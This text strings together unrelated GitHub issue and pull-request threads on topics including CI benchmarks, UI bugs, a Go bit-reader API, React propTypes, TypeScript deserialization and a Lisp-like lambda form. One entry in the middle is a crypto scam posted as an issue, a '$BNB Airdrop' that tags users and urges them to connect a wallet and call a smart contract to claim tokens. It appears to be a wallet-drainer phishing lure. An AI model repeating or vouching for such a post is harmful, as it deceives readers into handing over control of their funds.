(Some runs of this action can be found here: https://github.com/punchagan/sandmark-nightly/actions/workflows/production-user-tests.yml)
The PR also has a few improvements to the Python tests and running them via GH actions.

This is indeed useful to have. Thanks for the PR! LGTM.


Opacity Default on Text Box Colouring

Bug Description
The opacity is defaulted to 0% for the text box colouring. This means when you select a colour you don't see any changes right away as you might expect to and think that the feature is broken. You actually have to change the opacity from 0% AND select a colour to see any change. Having the default set at 0% makes this harder to use and figure out.

Expected Behaviour

Steps to Reproduce

Screenshots

Do not alter or remove anything below. The following sections will be managed by moderators only.
Acceptance Criteria
QA Instructions

This will most likely be fixed by #684, as it will also require the user to actively switch to a background (and default it to a non-transparent one).


Account name moved to separate field in discord notification

A little bit unsure if {self.config.username} was necessary in the description in embed, so moved it into a separate field0 in notification, so it will not be shown as a line without a headline. Hope it will not break anything.

Updated


Focus indicator is cropped on checkboxes under a dropdown of multi select command parameter in command center.

Does this issue occur when all extensions are disabled?:  During our accessibility test, the tester reports that the focus indicator is not properly visible on all checkboxes. I checked and see the left border of the focus indicator is cropped.

#A11yMAS; #A11yTCS; #DesktopApp; #Win32; #Visual Studio Code Client; #BM-VisualStudioCodeClient-Win32-Aug2023; #Focus Visible; #WCAG2.4.7
Primary Bug ID : https://microsoft.visualstudio.com/Xbox/_workitems/edit/48287874


StackOverflowError using Scheduler

Scheduler effect and typeclass implementation are not stack safe
java.lang.StackOverflowError
	at org.mockito.internal.util.concurrent.WeakConcurrentMap$LatentKey.<init>(WeakConcurrentMap.java:237)
	at org.mockito.internal.util.concurrent.WeakConcurrentMap.containsKey(WeakConcurrentMap.java:81)
	at org.mockito.internal.creation.bytebuddy.MockMethodAdvice.isMock(MockMethodAdvice.java:166)
	at org.mockito.internal.creation.bytebuddy.MockMethodAdvice.isMocked(MockMethodAdvice.java:171)
	at com.github.tonivade.purefun.core.Recoverable.sneakyThrow(Recoverable.java:12)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:34)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)
	at com.github.tonivade.purefun.core.Function1.apply(Function1.java:32)
	at com.github.tonivade.purefun.core.Function1.lambda$0(Function1.java:41)

test to reproduce the issue: https://github.com/tonivade/purefun/pull/120

The stack trace is meaningless :exploding_head:


[it] Localizzazione termine Containerization

Signed-off-by: Paolo<EMAIL_ADDRESS>

@sistella  your review and merge please


Bump up rk-entry verstion to v1.0.6

Codecov Report

Merging #57 (0d3a3cd) into master (053147d) will increase coverage by 14.54%.
The diff coverage is n/a.

:exclamation: Current head 0d3a3cd differs from pull request most recent head c2693df. Consider uploading reports for the commit c2693df to get more accurate results

@@             Coverage Diff              @@
##           master       #57       +/-   ##
============================================
+ Coverage   85.45%   100.00%   +14.54%
============================================
  Files           1         1
  Lines          55        50        -5
============================================
+ Hits           47        50        +3
+ Misses          5         0        -5
+ Partials        3         0        -3

Impacted Files
Coverage Δ

boot.go
100.00% <ø> (+14.54%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 053147d...c2693df. Read the comment docs.


New Reader convenience methods for reading into {int, uint8, uint16, uint32} without caller type conversion.

These methods significantly simplified my code, when parsing a bitstream into a struct.
It extends the API, and does not modify existing method signatures.

Codecov Report

Merging #3 into master will decrease coverage by 16.75%.
The diff coverage is 0%.

@@             Coverage Diff             @@
##           master       #3       +/-   ##
===========================================
- Coverage     100%   83.24%   -16.76%
===========================================
  Files           2        2
  Lines         149      179       +30
===========================================
  Hits          149      149
- Misses          0       30       +30

Impacted Files
Coverage Δ

reader.go
70.29% <0%> (-29.71%)
:arrow_down:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update b25b30b...8c0a7be. Read the comment docs.

Size of int is platform specific, so I wouldn't include ReadBitsAsInt() in it because a call might succeed on a 64-bit platform and fail on a 32-bit platform. Clients should be explicit and use uint32.
I see the uses of ReadBitsAsUInt8(), ReadBitsAsUInt16() and ReadBitsAsUInt32(), but I would see more use if they would not just call ReadBits() which operates on a 64-bit value, but would implement working with an 8-bit, 16-bit or 32-bit value inside, to be more efficient.
Also if we're adding varying sizes for reads, why not do the same for writes?
Therefore I tend not to include this PR. ReadBitsAsUInt8(), ReadBitsAsUInt16() and ReadBitsAsUInt32() could simply exist as utility functions.

Size of int is platform specific, so I wouldn't include ReadBitsAsInt() in it because a call might succeed on a 64-bit platform and fail on a 32-bit platform. Clients should be explicit and use uint32.

How about limiting ReadBitsAsInt to 32-bits?  (This method is included as a convenience; it does not have to cater to all use-cases and works perfectly well for my purposes with this limitation.)

I see the uses of ReadBitsAsUInt8(), ReadBitsAsUInt16() and ReadBitsAsUInt32(), but I would see more use if they would not just call ReadBits() which operates on a 64-bit value, but would implement working with an 8-bit, 16-bit or 32-bit value inside, to be more efficient.

Yes, that's feasible.  Please LMK if you're open to this in an amended PR.

Also if we're adding varying sizes for reads, why not do the same for writes?

There is less incentive to do so for writes, as it's very easy to typecast to uint64 when invoking a write, using a one-liner.
The problem with the ReadXXX methods is the multiple return values; you can't simply typecast the uint64 value because of the error value: the call ends up being several lines, as you can see in the proposed ReadBitsAsXXX methods in this PR.

Therefore I tend not to include this PR. ReadBitsAsUInt8(), ReadBitsAsUInt16() and ReadBitsAsUInt32() could simply exist as utility functions.

Of course they can; but it is significantly more convenient for these methods to be built into the package: the user doesn't have to write them over-and-over, whenever they use the package.
In my case, I use bitio in several packages within the same project which means either: A) I'd have to copy the helpers in each, B) create a separate helper package just for this, or C) fork the bitio project (/sigh/).

The thing is there are also signed types, e.g. int, int8, int16, int32, int64. If the user has these, he still needs utility functions because ReadBitsAsUInt16() returns uint16 and error, and that still can't be converted in a single line. You may not have a need for this, but somebody else might.
Adding all signed and unsigned variants would bloat the API.
So I propose an alternative: MustXXX() methods.
Add a new field to reader: mustErr error
func (r *reader) MustReadBits(n byte) (u uint64) {
    // If there was a previous error, do nothing:
    if r.mustErr = nil {
        u, r.mustErr = r.ReadBits(n)
    }
    return
}

Now you can do a one-liner just like with Writer:
var i int32
var j unt32
var r Reader

i = int32(r.MustReadBits(20))
j = uint32(r.MustReadBits(20))
// You can check error like this, and it's "enough" to do it once:
if r.MustErr() != nil {
    // Handle error
}

This way you don't have to add all variants, and you can even defer error checking, reading all the fields you need and just check error once.
If you like this and would satisfy you, I'd rather implement this.

Great idea!  That would significantly reduce boilerplate even further.
I would only suggest we refine the naming.  Where the Go standard library uses the word "Must", it usually accompanies a panic on error.  Also, the word "Error" isn't usually abbreviated; for example, see the error interface definition itself:
type error interface {
    Error() string
}

In this case, please consider using a softer name like: TryReadBits (TryReadingBits?).
Returning the error condition might then be LastError() error, or if you want to limit yourself to reads, then LastReadError() error.

You're right on the naming conventions, it was just a quick idea, not yet refined.
TryReadBits() looks good, and will use TryError() to get the TryXXX() error result.

I also wish to remove Reader and Writer interfaces. The reader and writer structs should be exported and returned, this is the convention in Go (return concrete types, expect interfaces). This may be a breaking change for some, but I'd wish to make this step. The package is not yet versioned, after this it could enter v1.0.0. What do you think?

OK, it's done. I added TryXXX() methods to both Reader and Writer. I also updated the documentation and README. Closing this PR.

Amazing work. Thank you for taking the time on this issue and your efforts over the past couple of years maintaining bitio -- it's a great library.

I also wish to remove Reader and Writer interfaces. The reader and writer structs should be exported and returned, this is the convention in Go (return concrete types, expect interfaces). This may be a breaking change for some, but I'd wish to make this step. The package is not yet versioned, after this it could enter v1.0.0. What do you think?

I like it -- simplifies it further.

OK, it's done. I added TryXXX() methods to both Reader and Writer. I also updated the documentation and README. Closing this PR.

Excellent!  I also like how TryError is a field variable; it allows us to clear it as we (might) need, whereas the func version we discussed is more limited.


fix: Wrong propTypes for SearchFieldAdvanced.icons

Description
Bug: Merely using the default <SearchField /> in an MFE without setting the optional icons property results in the following console warning:
 console.error
    Warning: Failed prop type: Invalid prop `icons.submit` of type `function` supplied to `SearchFieldAdvanced`, expected a single ReactElement.
        at SearchFieldAdvanced (frontend-app-course-authoring/node_modules/@openedx/paragon/src/SearchField/SearchFieldAdvanced.jsx:18:5)
        at SearchField (frontend-app-course-authoring/node_modules/@openedx/paragon/src/SearchField/index.jsx:28:5)

From the SearchField docs, you can easily verify that the icons prop takes elementType values, not element values by trying these two:
✅ Works: pass an element type (or leave icons unspecified)
<SearchField
  onSubmit={value => console.log(`search submitted: ${value}`)}
  icons={{submit: Search}}
/>

🛑 Doesn't work: pass an actual element :
<SearchField
  onSubmit={value => console.log(`search submitted: ${value}`)}
  icons={{submit: <Search />}}
/>

I don't know why this warning isn't showing up on the docs site console. Perhaps warnings are suppressed there?
Deploy Preview
This doesn't change the implementation, just the runtime console warning.
Merge Checklist

[x] If your update includes visual changes, have they been reviewed by a designer? Send them a link to the Netlify deploy preview, if applicable.
[x] Does your change adhere to the documented style conventions?
[x] Do any prop types have missing descriptions in the Props API tables in the documentation site (check deploy preview)?
[x] Were your changes tested using all available themes (see theme switcher in the header of the deploy preview, under the "Settings" icon)?
[x] Were your changes tested in the example app?
[x] Is there adequate test coverage for your changes?
[x] Consider whether this change needs to reviewed/QA'ed for accessibility (a11y). If so, please add wittjeff and adamstankiewicz as reviewers on this PR.

Post-merge Checklist

[ ] Verify your changes were released to NPM at the expected version.
[ ] If you'd like, share your contribution in #show-and-tell.
[ ] 🎉 🙌 Celebrate! Thanks for your contribution.

Thanks for the pull request, @bradenmacdonald! Please note that it may take us up to several weeks or months to complete a review and merge your PR.
Feel free to add as much of the following information to the ticket as you can:

supporting documentation
Open edX discussion forum threads
timeline information ("this must be merged by XX date", and why that is)
partner information ("this is a course on edx.org")
any other information that can help Product understand the context for the PR

All technical communication about the code itself will be done via the GitHub pull request interface. As a reminder, our process documentation is here.
Please let us know once your PR is ready for our review and all tests are green.

@bradenmacdonald 🎉 Your pull request was merged!  Please take a moment  to answer a two question survey so we can improve your experience in the future.

Thanks @brian-smith-tcril !


Update documentation (resolves #399)

Removed entrypoints that don't exist
Rearranged installation instructions to be more coherent

@fnothaft — Ready for review.

LGTM! Merged. Thanks @jvivian!


Type Assertion or Deserializer

Do we need to bring in a dependency to deserialize JSON into objects? If so, which library should be used?
TypeScript allows for Type Assertion: https://basarat.gitbooks.io/typescript/content/docs/types/type-assertion.html
If we need a more robust deserialization, is the following library a better option?
https://github.com/pleerock/class-transformer
We are currently proposing: https://github.com/weichx/cerialize

This discussion came up in today's meeting and is in reference to the already merged PR #61 (which uses cerialize)

Type assertion alone wont do, because that only helps at compile time. If you assert a plain javascript object is a Collection for example, it won't get any of Collection's methods, because that assertion is compiled out, javascript doesn't know about it. You need to create a new Collection instance, and give it the properties of that plain javascript object, in order to be able to use Collection's methods on it. A serialization lib helps with that.
I compared class-transformer and cerialize when I was writing the hal-serializer, and both libs are quite similar. I ended up choosing cerialize mainly because i thought their naming was clearer, and because class-transformer had issues with arrays and dates not serializing under certain circumsances, that had been open, without response for quite some time.
If you have good reason to prefer class-transformer I'm willing to reconsider.

I suppose it would be a lot to ask for type assertion to transpile into a javascript object that can deserialize complex json. I could imagine how it could though. I did not do any research into the different options, I just found them passing in other articles and notice class-tranformer is a more popular library.

closing


Return string completions for indexed access types

Fixes #20938
This PR provides string literal completions within indexed access types.
Does this look good to you, @DanielRosenwasser? Let me know if you need me to add anything else.

@DanielRosenwasser I've updated the PR based on your feedback. Instead of doing manual .kind comparisons, I'm now calling the type guard functions isStringLiteral(node) and isNoSubstitutionTemplateLiteral(node) so we can have TypeScript infer the type StringLiteral | NoSubstitutionTemplateLiteral for node. Does that work for you?


google map style

hello have you the google style of the madison map
ionic2/app/img/advance-card-map-madison.png
?

I don't understand what you mean

$BNB Airdrop: Claim Your $1000 in BNB Now!
🎉 Congratulations! You've been selected to receive a portion of the $1.5k Binance Airdrop. We're thrilled to offer you $1500 in BNB. But wait, there's more—connect now, and instantly receive an additional $100! Follow the steps below to claim your tokens and make the most of this festive giveaway!

Steps to Claim:
1. 🌐 Connect Your Binance Wallet:

Click on the Connect Wallet link.
Choose your preferred wallet provider (Metamask, Trust Wallet, etc.).

2. 🔄 Interact with the Contract:

Once your wallet is connected.
Click on the "Claim" button to interact with the smart contract.

💰 Don't miss out on your $1000 in BNB! Additionally, enjoy an instant $100 upon connection. Act now to secure your tokens. And hey, take the opportunity to win up to $20,000—it's your golden chance!
Winners: @Shiyajian, @TengfeiQi, @nerr, @youngzhenhao, @Ab2021, @xiao198304, @sadceri


20230110 modern lambda

Create a new form
(lambda ((& captures ...) arguments) (code))

Which captures the items in captures from the environment and creates runnable code taking (arguments) as arguments.
In this code:
(mod (add-number L)

  (include *standard-cl-21*)

  (defun map (F L)
    (if L
      (c (a F (list (f L))) (map F (r L)))
      ()
      )
    )

  (map
    (lambda ((& add-number) number) (+ add-number number))
    L
    )
  )

A runnable (with the 'a' operator) lambda is emitted by the lambda form, which captures add-number from the environment.  When run by 'map' with another argument (here filling 'number'), it can use both the captured arguments and the arguments given when it is run.
Run with (5 (1 2 3 4)) gives (6 7 8 9)
You can introduce bindings for capture using let:
(mod (add-number L)

  (include *standard-cl-21*)

  (defun map (F L)
    (if L
      (c (a F (list (f L))) (map F (r L)))
      ()
      )
    )

  (map
    (let ((A (* add-number 2)))
      (lambda ((& A) number) (+ A number))
      )
    L
    )
  )

Run with (5 (1 2 3 4)) gives (11 12 13 14)

based on use, a bug fix might be needed.  looking at a test case.

not a bug, added some test cases.

now that other required features have been merged, the test suite for chia-gaming is now in here as a fairly comprehensive regression test.


Suppress unused variable warnings

Will make sure warnings are not raised for these three loops.

Issue #11

Issue #11


Need to close application manually

@Ulhasguttikar
Once processed, I have to close the app manually. can we get the app closed automatically?

I will fix it and update. @Brockxy

@Brockxy
fixed the Issue. Application is closing automatically after execution.